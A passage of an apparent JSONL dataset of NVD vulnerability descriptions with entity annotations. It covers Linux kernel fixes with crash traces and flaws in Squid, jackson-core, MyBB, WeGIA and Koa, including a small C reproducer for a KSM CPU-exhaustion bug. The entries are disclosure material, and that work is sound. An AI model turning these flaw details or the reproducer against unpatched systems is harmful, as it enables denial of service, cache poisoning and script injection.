"spans": {"URL: https://forums.gentoo.org/viewtopic-t-1147832-postdays-0-postorder-asc-start-25.html": [[339, 423]], "DOMAIN: panix.com": [[280, 289]], "FILEPATH: /net/wireless/realtek/rtl818x/rtl8180/dev.c": [[975, 1018]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49326"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nksm: use range-walk function to jump over holes in scan_get_next_rmap_item\n\nCurrently, scan_get_next_rmap_item() walks every page address in a VMA to\nlocate mergeable pages.  This becomes highly inefficient when scanning\nlarge virtual memory areas that contain mostly unmapped regions, causing\nksmd to use large amount of cpu without deduplicating much pages.\n\nThis patch replaces the per-address lookup with a range walk using\nwalk_page_range().  The range walker allows KSM to skip over entire\nunmapped holes in a VMA, avoiding unnecessary lookups.  This problem was\npreviously discussed in [1].\n\nConsider the following test program which creates a 32 TiB mapping in the\nvirtual address space but only populates a single page:\n\n#include <unistd.h>\n#include <stdio.h>\n#include <sys/mman.h>\n\n/* 32 TiB */\nconst size_t size = 32ul * 1024 * 1024 * 1024 * 1024;\n\nint main() {\n        char *area = mmap(NULL, size, PROT_READ | PROT_WRITE,\n                          MAP_NORESERVE | MAP_PRIVATE | MAP_ANON, -1, 0);\n\n        if (area == MAP_FAILED) {\n                perror(\"mmap() failed\\n\");\n                return -1;\n        }\n\n        /* Populate a single page such that we get an anon_vma. */\n        *area = 0;\n\n        /* Enable KSM. */\n        madvise(area, size, MADV_MERGEABLE);\n        pause();\n        return 0;\n}\n\n$ ./ksm-sparse  &\n$ echo 1 > /sys/kernel/mm/ksm/run \n\nWithout this patch ksmd uses 100% of the cpu for a long time (more then 1\nhour in my test machine) scanning all the 32 TiB virtual address space\nthat contain only one mapped page.  This makes ksmd essentially deadlocked\nnot able to deduplicate anything of value.  With this patch ksmd walks\nonly the one mapped page and skips the rest of the 32 TiB virtual address\nspace, making the scan fast using little cpu.", "spans": {"FILEPATH: /sys/kernel/mm/ksm/run": [[1419, 1441]], "FILEPATH: unistd.h": [[809, 817]], "FILEPATH: stdio.h": [[829, 836]], "FILEPATH: mman.h": [[852, 858]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68211"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw89: avoid to add interface to list twice when SER\n\nIf SER L2 occurs during the WoWLAN resume flow, the add interface flow\nis triggered by ieee80211_reconfig(). However, due to\nrtw89_wow_resume() return failure, it will cause the add interface flow\nto be executed again, resulting in a double add list and causing a kernel\npanic. Therefore, we have added a check to prevent double adding of the\nlist.\n\nlist_add double add: new=ffff99d6992e2010, prev=ffff99d6992e2010, next=ffff99d695302628.\n------------[ cut here ]------------\nkernel BUG at lib/list_debug.c:37!\ninvalid opcode: 0000 [#1] PREEMPT SMP NOPTI\nCPU: 0 PID: 9 Comm: kworker/0:1 Tainted: G        W  O       6.6.30-02659-gc18865c4dfbd #1 770df2933251a0e3c888ba69d1053a817a6376a7\nHardware name: HP Grunt/Grunt, BIOS Google_Grunt.11031.169.0 06/24/2021\nWorkqueue: events_freezable ieee80211_restart_work [mac80211]\nRIP: 0010:__list_add_valid_or_report+0x5e/0xb0\nCode: c7 74 18 48 39 ce 74 13 b0 01 59 5a 5e 5f 41 58 41 59 41 5a 5d e9 e2 d6 03 00 cc 48 c7 c7 8d 4f 17 83 48 89 c2 e8 02 c0 00 00 <0f> 0b 48 c7 c7 aa 8c 1c 83 e8 f4 bf 00 00 0f 0b 48 c7 c7 c8 bc 12\nRSP: 0018:ffffa91b8007bc50 EFLAGS: 00010246\nRAX: 0000000000000058 RBX: ffff99d6992e0900 RCX: a014d76c70ef3900\nRDX: ffffa91b8007bae8 RSI: 00000000ffffdfff RDI: 0000000000000001\nRBP: ffffa91b8007bc88 R08: 0000000000000000 R09: ffffa91b8007bae0\nR10: 00000000ffffdfff R11: ffffffff83a79800 R12: ffff99d695302060\nR13: ffff99d695300900 R14: ffff99d6992e1be0 R15: ffff99d6992e2010\nFS:  0000000000000000(0000) GS:ffff99d6aac00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000078fbdba43480 CR3: 000000010e464000 CR4: 00000000001506f0\nCall Trace:\n <TASK>\n ? __die_body+0x1f/0x70\n ? die+0x3d/0x60\n ? do_trap+0xa4/0x110\n ? __list_add_valid_or_report+0x5e/0xb0\n ? do_error_trap+0x6d/0x90\n ? __list_add_valid_or_report+0x5e/0xb0\n ? handle_invalid_op+0x30/0x40\n ? __list_add_valid_or_report+0x5e/0xb0\n ? exc_invalid_op+0x3c/0x50\n ? asm_exc_invalid_op+0x16/0x20\n ? __list_add_valid_or_report+0x5e/0xb0\n rtw89_ops_add_interface+0x309/0x310 [rtw89_core 7c32b1ee6854761c0321027c8a58c5160e41f48f]\n drv_add_interface+0x5c/0x130 [mac80211 83e989e6e616bd5b4b8a2b0a9f9352a2c385a3bc]\n ieee80211_reconfig+0x241/0x13d0 [mac80211 83e989e6e616bd5b4b8a2b0a9f9352a2c385a3bc]\n ? finish_wait+0x3e/0x90\n ? synchronize_rcu_expedited+0x174/0x260\n ? sync_rcu_exp_done_unlocked+0x50/0x50\n ? wake_bit_function+0x40/0x40\n ieee80211_restart_work+0xf0/0x140 [mac80211 83e989e6e616bd5b4b8a2b0a9f9352a2c385a3bc]\n process_scheduled_works+0x1e5/0x480\n worker_thread+0xea/0x1e0\n kthread+0xdb/0x110\n ? move_linked_works+0x90/0x90\n ? kthread_associate_blkcg+0xa0/0xa0\n ret_from_fork+0x3b/0x50\n ? kthread_associate_blkcg+0xa0/0xa0\n ret_from_fork_asm+0x11/0x20\n </TASK>\nModules linked in: dm_integrity async_xor xor async_tx lz4 lz4_compress zstd zstd_compress zram zsmalloc rfcomm cmac uinput algif_hash algif_skcipher af_alg btusb btrtl iio_trig_hrtimer industrialio_sw_trigger btmtk industrialio_configfs btbcm btintel uvcvideo videobuf2_vmalloc iio_trig_sysfs videobuf2_memops videobuf2_v4l2 videobuf2_common uvc snd_hda_codec_hdmi veth snd_hda_intel snd_intel_dspcfg acpi_als snd_hda_codec industrialio_triggered_buffer kfifo_buf snd_hwdep industrialio i2c_piix4 snd_hda_core designware_i2s ip6table_nat snd_soc_max98357a xt_MASQUERADE xt_cgroup snd_soc_acp_rt5682_mach fuse rtw89_8922ae(O) rtw89_8922a(O) rtw89_pci(O) rtw89_core(O) 8021q mac80211(O) bluetooth ecdh_generic ecc cfg80211 r8152 mii joydev\ngsmi: Log Shutdown Reason 0x03\n---[ end trace 0000000000000000 ]---", "spans": {"HASH: 770df2933251a0e3c888ba69d1053a817a6376a7": [[775, 815]], "HASH: 7c32b1ee6854761c0321027c8a58c5160e41f48f": [[2174, 2214]], "HASH: 83e989e6e616bd5b4b8a2b0a9f9352a2c385a3bc": [[2256, 2296], [2341, 2381], [2565, 2605]], "FILEPATH: /24/2021": [[879, 887]], "FILEPATH: list_debug.c": [[623, 635]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: HP": [[831, 833]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49939"}}
{"text": "An issue was discovered in Squid before 4.13 and 5.x before 5.0.4. Due to incorrect data validation, HTTP Request Splitting attacks may succeed against HTTP and HTTPS traffic. This leads to cache poisoning. This allows any client, including browser scripts, to bypass local security and poison the browser cache and any downstream caches with content from an arbitrary source. Squid uses a string search instead of parsing the Transfer-Encoding header to find chunked encoding. This allows an attacker to hide a second request inside Transfer-Encoding: it is interpreted by Squid as chunked and split out into a second request delivered upstream. Squid will then deliver two distinct responses to the client, corrupting any downstream caches.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15811"}}
{"text": "Jackson-core contains core low-level incremental (\"streaming\") parser and generator abstractions used by Jackson Data Processor. Starting in version 2.0.0 and prior to version 2.13.0, a flaw in jackson-core's `JsonLocation._appendSourceDesc` method allows up to 500 bytes of unintended memory content to be included in exception messages. When parsing JSON from a byte array with an offset and length, the exception message incorrectly reads from the beginning of the array instead of the logical payload start. This results in possible information disclosure in systems using pooled or reused buffers, like Netty or Vert.x. This issue was silently fixed in jackson-core version 2.13.0, released on September 30, 2021, via PR #652. All users should upgrade to version 2.13.0 or later. If upgrading is not immediately possible, applications can mitigate the issue by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.", "spans": {"VULNERABILITY: information disclosure": [[537, 559]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-49128"}}
{"text": "MyBB is a free and open source forum software. Custom MyCode (BBCode) for the visual editor (_SCEditor_) doesn't escape input properly when rendering HTML, resulting in a DOM-based XSS vulnerability. This weakness can be exploited by pointing a victim to a page where the visual editor is active (e.g. as a post or Private Message) and operates on a maliciously crafted MyCode message. This may occur on pages where message content is pre-filled using a GET/POST parameter, or on reply pages where a previously saved malicious message is quoted. The impact is be mitigated when: 1. the visual editor is disabled globally (_Admin CP → Configuration → Settings → Clickable Smilies and BB Code: [Clickable MyCode Editor](https://github.com/mybb/mybb/blob/mybb_1836/install/resources/settings.xml#L2087-L2094)_ is set to _Off_), or 2. the visual editor is disabled for individual user accounts (_User CP → Your Profile → Edit Options_: _Show the MyCode formatting options on the posting pages_ checkbox is not checked). MyBB 1.8.37 resolves this issue with the commit `6dcaf0b4d`. Users are advised to upgrade. Users unable to upgrade may mitigate the impact without upgrading MyBB by changing the following setting (_Admin CP → Configuration → Settings_):\n- _Clickable Smilies and BB Code → [Clickable MyCode Editor](https://github.com/mybb/mybb/blob/mybb_1836/install/resources/settings.xml#L2087-L2094)_: _Off_. Similarly, individual MyBB forum users are able to disable the visual editor by diabling the account option (_User CP → Your Profile → Edit Options_) _Show the MyCode formatting options on the posting pages_.", "spans": {"URL: https://github.com/mybb/mybb/blob/mybb_1836/install/resources/settings.xml#L2087-L2094": [[718, 804], [1314, 1400]], "VULNERABILITY: DOM-based XSS": [[171, 184]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46251"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nethtool: cmis_cdb: use correct rpl size in ethtool_cmis_module_poll()\n\nrpl is passed as a pointer to ethtool_cmis_module_poll(), so the correct\nsize of rpl is sizeof(*rpl) which should be just 1 byte.  Using the\npointer size instead can cause stack corruption:\n\nKernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ethtool_cmis_wait_for_cond+0xf4/0x100\nCPU: 72 UID: 0 PID: 4440 Comm: kworker/72:2 Kdump: loaded Tainted: G           OE      6.11.0 #24\nTainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\nHardware name: Dell Inc. PowerEdge R760/04GWWM, BIOS 1.6.6 09/20/2023\nWorkqueue: events module_flash_fw_work\nCall Trace:\n <TASK>\n panic+0x339/0x360\n ? ethtool_cmis_wait_for_cond+0xf4/0x100\n ? __pfx_status_success+0x10/0x10\n ? __pfx_status_fail+0x10/0x10\n __stack_chk_fail+0x10/0x10\n ethtool_cmis_wait_for_cond+0xf4/0x100\n ethtool_cmis_cdb_execute_cmd+0x1fc/0x330\n ? __pfx_status_fail+0x10/0x10\n cmis_cdb_module_features_get+0x6d/0xd0\n ethtool_cmis_cdb_init+0x8a/0xd0\n ethtool_cmis_fw_update+0x46/0x1d0\n module_flash_fw_work+0x17/0xa0\n process_one_work+0x179/0x390\n worker_thread+0x239/0x340\n ? __pfx_worker_thread+0x10/0x10\n kthread+0xcc/0x100\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x2d/0x50\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30\n </TASK>", "spans": {"FILEPATH: /20/2023": [[648, 656]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[602, 606]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37791"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath11k: fix monitor mode bringup crash\n\nWhen the interface is brought up in monitor mode, it leads\nto NULL pointer dereference crash. This crash happens when\nthe packet type is extracted for a SKB. This extraction\nwhich is present in the received msdu delivery path,is\nnot needed for the monitor ring packets since they are\nall RAW packets. Hence appending the flags with\n\"RX_FLAG_ONLY_MONITOR\" to skip that extraction.\n\nObserved calltrace:\n\nUnable to handle kernel NULL pointer dereference at virtual address\n0000000000000064\nMem abort info:\n  ESR = 0x0000000096000004\n  EC = 0x25: DABT (current EL), IL = 32 bits\n  SET = 0, FnV = 0\n  EA = 0, S1PTW = 0\n  FSC = 0x04: level 0 translation fault\nData abort info:\n  ISV = 0, ISS = 0x00000004\n  CM = 0, WnR = 0\nuser pgtable: 4k pages, 48-bit VAs, pgdp=0000000048517000\n[0000000000000064] pgd=0000000000000000, p4d=0000000000000000\nInternal error: Oops: 0000000096000004 [#1] PREEMPT SMP\nModules linked in: ath11k_pci ath11k qmi_helpers\nCPU: 2 PID: 1781 Comm: napi/-271 Not tainted\n6.1.0-rc5-wt-ath-656295-gef907406320c-dirty #6\nHardware name: Qualcomm Technologies, Inc. IPQ8074/AP-HK10-C2 (DT)\npstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : ath11k_hw_qcn9074_rx_desc_get_decap_type+0x34/0x60 [ath11k]\nlr : ath11k_hw_qcn9074_rx_desc_get_decap_type+0x5c/0x60 [ath11k]\nsp : ffff80000ef5bb10\nx29: ffff80000ef5bb10 x28: 0000000000000000 x27: ffff000007baafa0\nx26: ffff000014a91ed0 x25: 0000000000000000 x24: 0000000000000000\nx23: ffff800002b77378 x22: ffff000014a91ec0 x21: ffff000006c8d600\nx20: 0000000000000000 x19: ffff800002b77740 x18: 0000000000000006\nx17: 736564203634343a x16: 656e694c20657079 x15: 0000000000000143\nx14: 00000000ffffffea x13: ffff80000ef5b8b8 x12: ffff80000ef5b8c8\nx11: ffff80000a591d30 x10: ffff80000a579d40 x9 : c0000000ffffefff\nx8 : 0000000000000003 x7 : 0000000000017fe8 x6 : ffff80000a579ce8\nx5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000\nx2 : 3a35ec12ed7f8900 x1 : 0000000000000000 x0 : 0000000000000052\nCall trace:\n ath11k_hw_qcn9074_rx_desc_get_decap_type+0x34/0x60 [ath11k]\n ath11k_dp_rx_deliver_msdu.isra.42+0xa4/0x3d0 [ath11k]\n ath11k_dp_rx_mon_deliver.isra.43+0x2f8/0x458 [ath11k]\n ath11k_dp_rx_process_mon_rings+0x310/0x4c0 [ath11k]\n ath11k_dp_service_srng+0x234/0x338 [ath11k]\n ath11k_pcic_ext_grp_napi_poll+0x30/0xb8 [ath11k]\n __napi_poll+0x5c/0x190\n napi_threaded_poll+0xf0/0x118\n kthread+0xf4/0x110\n ret_from_fork+0x10/0x20\n\nTested-on: QCN9074 hw1.0 PCI WLAN.HK.2.7.0.1-01744-QCAHKSWPL_SILICONZ-1", "spans": {"IP_ADDRESS: 2.7.0.1": [[2561, 2568]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[1164, 1172]], "VULNERABILITY: NULL pointer dereference": [[177, 201], [541, 565]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50627"}}
{"text": "WeGIA is a web manager for charitable institutions. Versions 3.6.6 and below have a Reflected Cross-Site Scripting (XSS) vulnerability in the listar_memorandos_ativos.php endpoint. An attacker can inject arbitrary JavaScript or HTML tags into the sccd GET parameter, which is then directly echoed into the HTML response without any sanitization or encoding. The script /html/memorando/listar_memorandos_ativos.php handles dynamic success messages to users using query string parameters. Similar to other endpoints in the Memorando module, it checks if $_GET['msg'] equals 'success'. If this condition is met, it directly concatenates and reflects $_GET['sccd'] into an HTML alert <div>. This issue is resolved in version 3.6.7.", "spans": {"FILEPATH: /html/memorando/listar_memorandos_ativos.php": [[369, 413]], "FILEPATH: listar_memorandos_ativos.php": [[142, 170]], "VULNERABILITY: Cross-Site Scripting": [[94, 114]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33136"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: directly free partially initialized fs_info in btrfs_check_leaked_roots()\n\nIf fs_info->super_copy or fs_info->super_for_commit allocated failed in\nbtrfs_get_tree_subvol(), then no need to call btrfs_free_fs_info().\nOtherwise btrfs_check_leaked_roots() would access NULL pointer because\nfs_info->allocated_roots had not been initialised.\n\nsyzkaller reported the following information:\n  ------------[ cut here ]------------\n  BUG: unable to handle page fault for address: fffffffffffffbb0\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD 64c9067 P4D 64c9067 PUD 64cb067 PMD 0\n  Oops: Oops: 0000 [#1] SMP KASAN PTI\n  CPU: 0 UID: 0 PID: 1402 Comm: syz.1.35 Not tainted 6.15.8 #4 PREEMPT(lazy)\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), (...)\n  RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]\n  RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]\n  RIP: 0010:atomic_read include/linux/atomic/atomic-instrumented.h:33 [inline]\n  RIP: 0010:refcount_read include/linux/refcount.h:170 [inline]\n  RIP: 0010:btrfs_check_leaked_roots+0x18f/0x2c0 fs/btrfs/disk-io.c:1230\n  [...]\n  Call Trace:\n   <TASK>\n   btrfs_free_fs_info+0x310/0x410 fs/btrfs/disk-io.c:1280\n   btrfs_get_tree_subvol+0x592/0x6b0 fs/btrfs/super.c:2029\n   btrfs_get_tree+0x63/0x80 fs/btrfs/super.c:2097\n   vfs_get_tree+0x98/0x320 fs/super.c:1759\n   do_new_mount+0x357/0x660 fs/namespace.c:3899\n   path_mount+0x716/0x19c0 fs/namespace.c:4226\n   do_mount fs/namespace.c:4239 [inline]\n   __do_sys_mount fs/namespace.c:4450 [inline]\n   __se_sys_mount fs/namespace.c:4427 [inline]\n   __x64_sys_mount+0x28c/0x310 fs/namespace.c:4427\n   do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n   do_syscall_64+0x92/0x180 arch/x86/entry/syscall_64.c:94\n   entry_SYSCALL_64_after_hwframe+0x76/0x7e\n  RIP: 0033:0x7f032eaffa8d\n  [...]", "spans": {"FILEPATH: /x86/include/asm/atomic.h": [[909, 934]], "FILEPATH: /linux/atomic/atomic-arch-fallback.h": [[982, 1018]], "FILEPATH: /linux/atomic/atomic-instrumented.h": [[1063, 1098]], "FILEPATH: /linux/refcount.h": [[1144, 1161]], "FILEPATH: /btrfs/disk-io.c": [[1226, 1242], [1316, 1332]], "FILEPATH: /btrfs/super.c": [[1377, 1391], [1427, 1441]], "FILEPATH: /x86/entry/syscall_64.c": [[1793, 1816], [1861, 1884]], "FILEPATH: super.c": [[1477, 1484]], "FILEPATH: namespace.c": [[1521, 1532], [1568, 1579], [1600, 1611], [1647, 1658], [1694, 1705], [1754, 1765]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[830, 834]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40235"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nftables: avoid overflows in nft_hash_buckets()\n\nNumber of buckets being stored in 32bit variables, we have to\nensure that no overflows occur in nft_hash_buckets()\n\nsyzbot injected a size == 0x40000000 and reported:\n\nUBSAN: shift-out-of-bounds in ./include/linux/log2.h:57:13\nshift exponent 64 is too large for 64-bit type 'long unsigned int'\nCPU: 1 PID: 29539 Comm: syz-executor.4 Not tainted 5.12.0-rc7-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nCall Trace:\n __dump_stack lib/dump_stack.c:79 [inline]\n dump_stack+0x141/0x1d7 lib/dump_stack.c:120\n ubsan_epilogue+0xb/0x5a lib/ubsan.c:148\n __ubsan_handle_shift_out_of_bounds.cold+0xb1/0x181 lib/ubsan.c:327\n __roundup_pow_of_two include/linux/log2.h:57 [inline]\n nft_hash_buckets net/netfilter/nft_set_hash.c:411 [inline]\n nft_hash_estimate.cold+0x19/0x1e net/netfilter/nft_set_hash.c:652\n nft_select_set_ops net/netfilter/nf_tables_api.c:3586 [inline]\n nf_tables_newset+0xe62/0x3110 net/netfilter/nf_tables_api.c:4322\n nfnetlink_rcv_batch+0xa09/0x24b0 net/netfilter/nfnetlink.c:488\n nfnetlink_rcv_skb_batch net/netfilter/nfnetlink.c:612 [inline]\n nfnetlink_rcv+0x3af/0x420 net/netfilter/nfnetlink.c:630\n netlink_unicast_kernel net/netlink/af_netlink.c:1312 [inline]\n netlink_unicast+0x533/0x7d0 net/netlink/af_netlink.c:1338\n netlink_sendmsg+0x856/0xd90 net/netlink/af_netlink.c:1927\n sock_sendmsg_nosec net/socket.c:654 [inline]\n sock_sendmsg+0xcf/0x120 net/socket.c:674\n ____sys_sendmsg+0x6e8/0x810 net/socket.c:2350\n ___sys_sendmsg+0xf3/0x170 net/socket.c:2404\n __sys_sendmsg+0xe5/0x1b0 net/socket.c:2433\n do_syscall_64+0x2d/0x70 arch/x86/entry/common.c:46", "spans": {"FILEPATH: /include/linux/log2.h": [[328, 349]], "FILEPATH: /01/2011": [[579, 587]], "FILEPATH: /linux/log2.h": [[826, 839]], "FILEPATH: /netfilter/nft_set_hash.c": [[873, 898], [949, 974]], "FILEPATH: /netfilter/nf_tables_api.c": [[1002, 1028], [1077, 1103]], "FILEPATH: /netfilter/nfnetlink.c": [[1146, 1168], [1201, 1223], [1267, 1289]], "FILEPATH: /netlink/af_netlink.c": [[1321, 1342], [1389, 1410], [1448, 1469]], "FILEPATH: /x86/entry/common.c": [[1728, 1747]], "FILEPATH: dump_stack.c": [[618, 630], [671, 683]], "FILEPATH: ubsan.c": [[717, 724], [785, 792]], "FILEPATH: socket.c": [[1499, 1507], [1550, 1558], [1596, 1604], [1641, 1649], [1685, 1693]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[513, 519], [520, 526], [542, 548], [570, 576]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46992"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: i801: Revert \"i2c: i801: replace acpi_lock with I2C bus lock\"\n\nThis reverts commit f707d6b9e7c18f669adfdb443906d46cfbaaa0c1.\n\nUnder rare circumstances, multiple udev threads can collect i801 device\ninfo on boot and walk i801_acpi_io_handler somewhat concurrently. The\nfirst will note the area is reserved by acpi to prevent further touches.\nThis ultimately causes the area to be deregistered. The second will\nenter i801_acpi_io_handler after the area is unregistered but before a\ncheck can be made that the area is unregistered. i2c_lock_bus relies on\nthe now unregistered area containing lock_ops to lock the bus. The end\nresult is a kernel panic on boot with the following backtrace;\n\n[   14.971872] ioatdma 0000:09:00.2: enabling device (0100 -> 0102)\n[   14.971873] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[   14.971880] #PF: supervisor read access in kernel mode\n[   14.971884] #PF: error_code(0x0000) - not-present page\n[   14.971887] PGD 0 P4D 0\n[   14.971894] Oops: 0000 [#1] PREEMPT SMP PTI\n[   14.971900] CPU: 5 PID: 956 Comm: systemd-udevd Not tainted 5.14.0-611.5.1.el9_7.x86_64 #1\n[   14.971905] Hardware name: XXXXXXXXXXXXXXXXXXXXXXX BIOS 1.20.10.SV91 01/30/2023\n[   14.971908] RIP: 0010:i801_acpi_io_handler+0x2d/0xb0 [i2c_i801]\n[   14.971929] Code: 00 00 49 8b 40 20 41 57 41 56 4d 8b b8 30 04 00 00 49 89 ce 41 55 41 89 d5 41 54 49 89 f4 be 02 00 00 00 55 4c 89 c5 53 89 fb <48> 8b 00 4c 89 c7 e8 18 61 54 e9 80 bd 80 04 00 00 00 75 09 4c 3b\n[   14.971933] RSP: 0018:ffffbaa841483838 EFLAGS: 00010282\n[   14.971938] RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff9685e01ba568\n[   14.971941] RDX: 0000000000000008 RSI: 0000000000000002 RDI: 0000000000000000\n[   14.971944] RBP: ffff9685ca22f028 R08: ffff9685ca22f028 R09: ffff9685ca22f028\n[   14.971948] R10: 000000000000000b R11: 0000000000000580 R12: 0000000000000580\n[   14.971951] R13: 0000000000000008 R14: ffff9685e01ba568 R15: ffff9685c222f000\n[   14.971954] FS:  00007f8287c0ab40(0000) GS:ffff96a47f940000(0000) knlGS:0000000000000000\n[   14.971959] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[   14.971963] CR2: 0000000000000000 CR3: 0000000168090001 CR4: 00000000003706f0\n[   14.971966] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[   14.971968] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[   14.971972] Call Trace:\n[   14.971977]  <TASK>\n[   14.971981]  ? show_trace_log_lvl+0x1c4/0x2df\n[   14.971994]  ? show_trace_log_lvl+0x1c4/0x2df\n[   14.972003]  ? acpi_ev_address_space_dispatch+0x16e/0x3c0\n[   14.972014]  ? __die_body.cold+0x8/0xd\n[   14.972021]  ? page_fault_oops+0x132/0x170\n[   14.972028]  ? exc_page_fault+0x61/0x150\n[   14.972036]  ? asm_exc_page_fault+0x22/0x30\n[   14.972045]  ? i801_acpi_io_handler+0x2d/0xb0 [i2c_i801]\n[   14.972061]  acpi_ev_address_space_dispatch+0x16e/0x3c0\n[   14.972069]  ? __pfx_i801_acpi_io_handler+0x10/0x10 [i2c_i801]\n[   14.972085]  acpi_ex_access_region+0x5b/0xd0\n[   14.972093]  acpi_ex_field_datum_io+0x73/0x2e0\n[   14.972100]  acpi_ex_read_data_from_field+0x8e/0x230\n[   14.972106]  acpi_ex_resolve_node_to_value+0x23d/0x310\n[   14.972114]  acpi_ds_evaluate_name_path+0xad/0x110\n[   14.972121]  acpi_ds_exec_end_op+0x321/0x510\n[   14.972127]  acpi_ps_parse_loop+0xf7/0x680\n[   14.972136]  acpi_ps_parse_aml+0x17a/0x3d0\n[   14.972143]  acpi_ps_execute_method+0x137/0x270\n[   14.972150]  acpi_ns_evaluate+0x1f4/0x2e0\n[   14.972158]  acpi_evaluate_object+0x134/0x2f0\n[   14.972164]  acpi_evaluate_integer+0x50/0xe0\n[   14.972173]  ? vsnprintf+0x24b/0x570\n[   14.972181]  acpi_ac_get_state.part.0+0x23/0x70\n[   14.972189]  get_ac_property+0x4e/0x60\n[   14.972195]  power_supply_show_property+0x90/0x1f0\n[   14.972205]  add_prop_uevent+0x29/0x90\n[   14.972213]  power_supply_uevent+0x109/0x1d0\n[   14.972222]  dev_uevent+0x10e/0x2f0\n[   14.972228]  uevent_show+0x8e/0x100\n[   14.972236]  dev_attr_show+0x19\n---truncated---", "spans": {"HASH: f707d6b9e7c18f669adfdb443906d46cfbaaa0c1": [[157, 197]], "FILEPATH: /30/2023": [[1266, 1274]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1135, 1142]], "VULNERABILITY: NULL pointer dereference": [[856, 880]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23369"}}
{"text": "Koa is expressive middleware for Node.js using ES2017 async functions. In versions 2.16.2 to before 2.16.3 and 3.0.1 to before 3.0.3, a bypass to CVE-2025-8129 was discovered in the Koa.js framework affecting its back redirect functionality. In certain circumstances, an attacker can manipulate the Referer header to force a user’s browser to navigate to an external, potentially malicious website. This occurs because the implementation incorrectly treats some specially crafted URLs as safe relative paths. Exploiting this vulnerability could allow attackers to perform phishing, social engineering, or other redirect-based attacks on users of affected applications. This issue has been patched in version 3.0.3.", "spans": {"CVE_ID: CVE-2025-8129": [[146, 159]], "FILEPATH: Node.js": [[33, 40]], "FILEPATH: Koa.js": [[182, 188]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-62595"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: comedi_8255: Correct error in subdevice initialization\n\nThe refactoring done in commit 5c57b1ccecc7 (\"comedi: comedi_8255: Rework\nsubdevice initialization functions\") to the initialization of the io\nfield of struct subdev_8255_private broke all cards using the\ndrivers/comedi/drivers/comedi_8255.c module.\n\nPrior to 5c57b1ccecc7, __subdev_8255_init() initialized the io field\nin the newly allocated struct subdev_8255_private to the non-NULL\ncallback given to the function, otherwise it used a flag parameter to\nselect between subdev_8255_mmio and subdev_8255_io. The refactoring\nremoved that logic and the flag, as subdev_8255_mm_init() and\nsubdev_8255_io_init() now explicitly pass subdev_8255_mmio and\nsubdev_8255_io respectively to __subdev_8255_init(), only\n__subdev_8255_init() never sets spriv->io to the supplied\ncallback. That spriv->io is NULL leads to a later BUG:\n\nBUG: kernel NULL pointer dereference, address: 0000000000000000\nPGD 0 P4D 0\nOops: 0010 [#1] SMP PTI\nCPU: 1 PID: 1210 Comm: systemd-udevd Not tainted 6.7.3-x86_64 #1\nHardware name: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\nRIP: 0010:0x0\nCode: Unable to access opcode bytes at 0xffffffffffffffd6.\nRSP: 0018:ffffa3f1c02d7b78 EFLAGS: 00010202\nRAX: 0000000000000000 RBX: ffff91f847aefd00 RCX: 000000000000009b\nRDX: 0000000000000003 RSI: 0000000000000001 RDI: ffff91f840f6fc00\nRBP: ffff91f840f6fc00 R08: 0000000000000000 R09: 0000000000000001\nR10: 0000000000000000 R11: 000000000000005f R12: 0000000000000000\nR13: 0000000000000000 R14: ffffffffc0102498 R15: ffff91f847ce6ba8\nFS:  00007f72f4e8f500(0000) 